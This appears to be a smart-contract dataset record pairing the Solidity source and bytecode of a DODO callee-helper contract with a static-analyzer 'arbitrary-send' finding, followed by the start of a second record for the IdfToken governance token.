function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/GeneralizedFragment/intf/IFragment.sol
interface IFragment {
function init(
address dvm,
address vaultPreOwner,
address collateralVault,
uint256 totalSupply,
uint256 ownerRatio,
uint256 buyoutTimestamp,
address defaultMaintainer,
address buyoutModel,
uint256 distributionRatio,
string memory fragSymbol
) external;
function buyout(address newVaultOwner) external;
function redeem(address to) external;
function _QUOTE_() external view returns (address);
function _COLLATERAL_VAULT_() external view returns (address);
function _DVM_() external view returns (address);
function totalSupply() external view returns (uint256);
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/helper/DODOCalleeHelper.sol
contract DODOCalleeHelper is ReentrancyGuard {
using SafeERC20 for IERC20;
address payable public immutable _WETH_;
fallback() external payable {
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH");
}
receive() external payable {
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH");
}
constructor(address payable weth) public {
_WETH_ = weth;
}
function DVMSellShareCall(
address payable assetTo,
uint256,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata
) external preventReentrant {
address _baseToken = IDODOV2(msg.sender)._BASE_TOKEN_();
address _quoteToken = IDODOV2(msg.sender)._QUOTE_TOKEN_();
_withdraw(assetTo, _baseToken, baseAmount, _baseToken == _WETH_);
_withdraw(assetTo, _quoteToken, quoteAmount, _quoteToken == _WETH_);
}
function CPCancelCall(
address payable assetTo,
uint256 amount,
bytes calldata
)external preventReentrant{
address _quoteToken = IDODOV2(msg.sender)._QUOTE_TOKEN_();
_withdraw(assetTo, _quoteToken, amount, _quoteToken == _WETH_);
}
function CPClaimBidCall(
address payable assetTo,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata
) external preventReentrant {
address _baseToken = IDODOV2(msg.sender)._BASE_TOKEN_();
address _quoteToken = IDODOV2(msg.sender)._QUOTE_TOKEN_();
_withdraw(assetTo, _baseToken, baseAmount, _baseToken == _WETH_);
_withdraw(assetTo, _quoteToken, quoteAmount, _quoteToken == _WETH_);
}
function NFTRedeemCall(
address payable assetTo,
uint256 quoteAmount,
bytes calldata
) external preventReentrant {
address _quoteToken = IFragment(msg.sender)._QUOTE_();
_withdraw(assetTo, _quoteToken, quoteAmount, _quoteToken == _WETH_);
}
function _withdraw(
address payable to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).withdraw(amount);
to.transfer(amount);
}
} else {
if (amount > 0) {
SafeERC20.safeTransfer(IERC20(token), to, amount);
}
}
}
} | 0x60806040526004361061004e5760003560e01c80630d4eec8f146100ee5780632411d3381461011957806353c06360146101395780636430f110146101595780637ceef91614610179576100a6565b366100a657336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216146100a45760405162461bcd60e51b815260040161009b90610a7c565b60405180910390fd5b005b336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216146100a45760405162461bcd60e51b815260040161009b90610a7c565b3480156100fa57600080fd5b50610103610199565b6040516101109190610a4f565b60405180910390f35b34801561012557600080fd5b506100a4610134366004610985565b6101bd565b34801561014557600080fd5b506100a46101543660046108c3565b610367565b34801561016557600080fd5b506100a46101743660046108c3565b610459565b34801561018557600080fd5b506100a461019436600461091d565b6104c0565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60005460ff16156101e05760405162461bcd60e51b815260040161009b90610aa7565b6000805460ff1916600117815560408051632512469560e11b815290513391634a248d2a916004808301926020929190829003018186803b15801561022457600080fd5b505afa158015610238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025c91906108a0565b90506000336001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b15801561029957600080fd5b505afa1580156102ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d191906108a0565b90506103138883887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316866001600160a01b031614610669565b6103538882877f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b031614610669565b50506000805460ff19169055505050505050565b60005460ff161561038a5760405162461bcd60e51b815260040161009b90610aa7565b6000805460ff1916600117815560408051633290dba960e21b81529051339163ca436ea4916004808301926020929190829003018186803b1580156103ce57600080fd5b505afa1580156103e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040691906108a0565b90506104488582867f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b031614610669565b50506000805460ff19169055505050565b60005460ff161561047c5760405162461bcd60e51b815260040161009b90610aa7565b6000805460ff1916600117815560408051636a5cb82360e11b81529051339163d4b97046916004808301926020929190829003018186803b1580156103ce57600080fd5b60005460ff16156104e35760405162461bcd60e51b815260040161009b90610aa7565b6000805460ff1916600117815560408051632512469560e11b815290513391634a248d2a916004808301926020929190829003018186803b15801561052757600080fd5b505afa15801561053b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055f91906108a0565b90506000336001600160a01b031663d4b970466040518163ffffffff1660e01b815260040160206040518083038186803b15801561059c57600080fd5b505afa1580156105b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d491906108a0565b90506106168783887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316866001600160a01b031614610669565b6106568782877f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b031614610669565b50506000805460ff191690555050505050565b801561073057811561072b57604051632e1a7d4d60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21690632e1a7d4d906106c1908590600401610b49565b600060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b50506040516001600160a01b038716925084156108fc02915084906000818181858888f19350505050158015610729573d6000803e3d6000fd5b505b610741565b811561074157610741838584610747565b50505050565b61079d8363a9059cbb60e01b8484604051602401610766929190610a63565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526107a2565b505050565b60006060836001600160a01b0316836040516107be9190610a16565b6000604051808303816000865af19150503d80600081146107fb576040519150601f19603f3d011682016040523d82523d6000602084013e610800565b606091505b5091509150816108225760405162461bcd60e51b815260040161009b90610aca565b805115610741578080602001905181019061083d91906109f6565b6107415760405162461bcd60e51b815260040161009b90610aff565b60008083601f84011261086a578182fd5b50813567ffffffffffffffff811115610881578182fd5b60208301915083602082850101111561089957600080fd5b9250929050565b6000602082840312156108b1578081fd5b81516108bc81610b52565b9392505050565b600080600080606085870312156108d8578283fd5b84356108e381610b52565b935060208501359250604085013567ffffffffffffffff811115610905578283fd5b61091187828801610859565b95989497509550505050565b600080600080600060808688031215610934578081fd5b853561093f81610b52565b94506020860135935060408601359250606086013567ffffffffffffffff811115610968578182fd5b61097488828901610859565b969995985093965092949392505050565b60008060008060008060a0878903121561099d578081fd5b86356109a881610b52565b9550602087013594506040870135935060608701359250608087013567ffffffffffffffff8111156109d8578182fd5b6109e489828a01610859565b979a9699509497509295939492505050565b600060208284031215610a07578081fd5b815180151581146108bc578182fd5b60008251815b81811015610a365760208186018101518583015201610a1c565b81811115610a445782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6020808252601190820152700ae8abea682ac8a88beb29eaaa4be8aa89607b1b604082015260600190565b60208082526009908201526814915153951490539560ba1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b90815260200190565b6001600160a01b0381168114610b6757600080fd5b5056fea264697066735822122001aa66af8caa79e07e9cb223e2af5515ac745ab5cef2b20425f9238c64f2b0ce64736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,471 |
0xec3ac374897d72654b85AfC53064A32dbE478dC3 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract IdfToken is Initializable {
/// @notice EIP-20 token name for this token
string public constant name = "InDeFi";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "IDF";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million IDF
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Initialize a new IDF token
* @param account The initial account to grant all the tokens
*/
function initialize(address account) public initializer {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(now <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
// uint256 chainId;
// assembly { chainId := chainid() }
// return chainId;
return 1; // mainnet id
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063782d6fe1116100ad578063c3cda52011610071578063c3cda5201461027d578063c4d66de814610290578063dd62ed3e146102a3578063e7a324dc146102b6578063f1127ed8146102be5761012c565b8063782d6fe11461021c5780637ecebe001461023c57806395d89b411461024f578063a9059cbb14610257578063b4b5ea571461026a5761012c565b8063313ce567116100f4578063313ce5671461019f578063587cde1e146101b45780635c19a95c146101d45780636fcfff45146101e957806370a08231146102095761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461016f57806320606b701461018457806323b872dd1461018c575b600080fd5b6101396102df565b60405161014691906118b9565b60405180910390f35b61016261015d366004611371565b610301565b604051610146919061180f565b6101776103dd565b604051610146919061181d565b6101776103ec565b61016261019a366004611324565b610403565b6101a7610566565b6040516101469190611963565b6101c76101c23660046112c4565b61056b565b6040516101469190611801565b6101e76101e23660046112c4565b610586565b005b6101fc6101f73660046112c4565b610593565b604051610146919061193a565b6101776102173660046112c4565b6105ab565b61022f61022a366004611371565b6105cf565b604051610146919061197f565b61017761024a3660046112c4565b6107e6565b6101396107f8565b610162610265366004611371565b610817565b61022f6102783660046112c4565b610870565b6101e761028b3660046113a1565b6108e0565b6101e761029e3660046112c4565b610ac8565b6101776102b13660046112ea565b610bb8565b610177610bec565b6102d16102cc366004611428565b610bf8565b604051610146929190611948565b60405180604001604052806006815260200165496e4465466960d01b81525081565b6000806000198314156103175750600019610359565b610356836040518060400160405280601f81526020017f617070726f76653a20616d6f756e742065786365656473203936206269747300815250610c2d565b90505b3360008181526033602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c9908590611971565b60405180910390a360019150505b92915050565b6a084595161401484a00000081565b6040516103f8906117eb565b604051809103902081565b6001600160a01b038316600090815260336020908152604080832033808552908352818420548251808401909352601f83527f617070726f76653a20616d6f756e74206578636565647320393620626974730093830193909352916001600160601b0316908390610475908690610c2d565b9050866001600160a01b0316836001600160a01b0316141580156104a257506001600160601b0382811614155b1561054c5760006104cc8383604051806060016040528060378152602001611a8f60379139610c5c565b6001600160a01b038981166000818152603360209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610542908590611971565b60405180910390a3505b610557878783610c9b565b600193505050505b9392505050565b601281565b6035602052600090815260409020546001600160a01b031681565b6105903382610e46565b50565b60376020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152603460205260409020546001600160601b031690565b60004382106105f95760405162461bcd60e51b81526004016105f0906118ca565b60405180910390fd5b6001600160a01b03831660009081526037602052604090205463ffffffff16806106275760009150506103d7565b6001600160a01b038416600090815260366020908152604080832063ffffffff6000198601811685529252909120541683106106a3576001600160a01b03841660009081526036602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103d7565b6001600160a01b038416600090815260366020908152604080832083805290915290205463ffffffff168310156106de5760009150506103d7565b600060001982015b8163ffffffff168163ffffffff1611156107a157600282820363ffffffff16048103610710611281565b506001600160a01b038716600090815260366020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561077c576020015194506103d79350505050565b805163ffffffff168711156107935781935061079a565b6001820392505b50506106e6565b506001600160a01b038516600090815260366020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60386020526000908152604090205481565b6040518060400160405280600381526020016224a22360e91b81525081565b600080610859836040518060400160405280602081526020017f7472616e736665723a20616d6f756e7420657863656564732039362062697473815250610c2d565b9050610866338583610c9b565b5060019392505050565b6001600160a01b03811660009081526037602052604081205463ffffffff168061089b57600061055f565b6001600160a01b0383166000908152603660209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108ee906117eb565b604080519182900382208282019091526006825265496e4465466960d01b6020909201919091527f9a7aff08e6d949f35808b41c83956362ccdb6e7cce3be18788e7a0a3de5970bc61093e610ed0565b306040516020016109529493929190611869565b6040516020818303038152906040528051906020012090506000604051610978906117f6565b604051908190038120610993918a908a908a9060200161182b565b604051602081830303815290604052805190602001209050600082826040516020016109c09291906117ba565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109fd949392919061189e565b6020604051602081039080840390855afa158015610a1f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a525760405162461bcd60e51b81526004016105f0906118da565b6001600160a01b03811660009081526038602052604090208054600181019091558914610a915760405162461bcd60e51b81526004016105f09061192a565b87421115610ab15760405162461bcd60e51b81526004016105f0906118ea565b610abb818b610e46565b505050505b505050505050565b600054610100900460ff1680610ae15750610ae1610ed5565b80610aef575060005460ff16155b610b0b5760405162461bcd60e51b81526004016105f09061190a565b600054610100900460ff16158015610b36576000805460ff1961ff0019909116610100171660011790555b6001600160a01b03821660008181526034602052604080822080546001600160601b0319166a084595161401484a00000090811790915590517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91610b9a9161181d565b60405180910390a38015610bb4576000805461ff00191690555b5050565b6001600160a01b0391821660009081526033602090815260408083209390941682529190915220546001600160601b031690565b6040516103f8906117f6565b603660209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610c545760405162461bcd60e51b81526004016105f091906118b9565b509192915050565b6000836001600160601b0316836